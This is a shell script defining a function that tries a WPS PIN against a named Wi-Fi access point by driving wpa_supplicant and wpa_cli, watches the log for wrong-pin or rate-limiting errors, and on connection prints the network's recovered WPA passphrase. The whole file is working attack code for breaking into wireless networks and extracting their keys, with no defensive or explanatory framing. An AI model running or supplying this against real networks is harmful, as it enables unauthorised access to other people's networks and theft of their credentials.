#!/bin/sh

try_wps_pin(){
    # 
    # ESSID MAC CHANNEL ENC WPA WPA2 PIN
    #set -ef
    ESSID="$1"
    MAC="$2"
    CHANNEL="$3"
    ENC="$4"
    WPA="$5"
    WPA2="$6"
    PIN="$7"

    [ "$ENC" == off ] && return 2
    WPA_CONF=/tmp/wpa.conf
    WPA_LOG=/tmp/wpa.log
    rm $WPA_LOG
    #mkfifo $WPA_LOG
    killall wpa_supplicant && sleep 1
	
    cat > $WPA_CONF <<EOF 
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1
EOF
    wpa_supplicant -Dwext -iwlan0 -c $WPA_CONF -f $WPA_LOG &
    sleep 2
    if !(sudo wpa_cli wps_reg $MAC $PIN  | grep -q OK) ;then
        echo "wpa_cli wps_reg failed, bailing out!"
        return 1
    fi

    WPA_PID=$!
	    #*"WPA: Key negotiation completed"*)
            # association failed
            #    exit 1 ;;

    if ( tail -f $WPA_LOG & echo "TAILPID: $!" )| while read line ; do
        bye(){
            kill -HUP $TAILPID
            exit $1
        }
        echo $line
        case "$line" in
            TAILPID:*)IFS=" " set -- $line; TAILPID=$2;;
            *"WPS-FAIL msg=10 config_error=18"*) bye 1 ;; # wrong pin
            *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1;; # rate limiting
            *CTRL-EVENT-DISCONNECTED*):;;
            *CTRL-EVENT-CONNECTED*) bye 0;; #yay connected

        esac
    done ; then
	#echo "Connected!"
	sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' $WPA_CONF
	return 0
    else
	echo "failed!"
	return 1
    fi
    kill $WPA_PID

}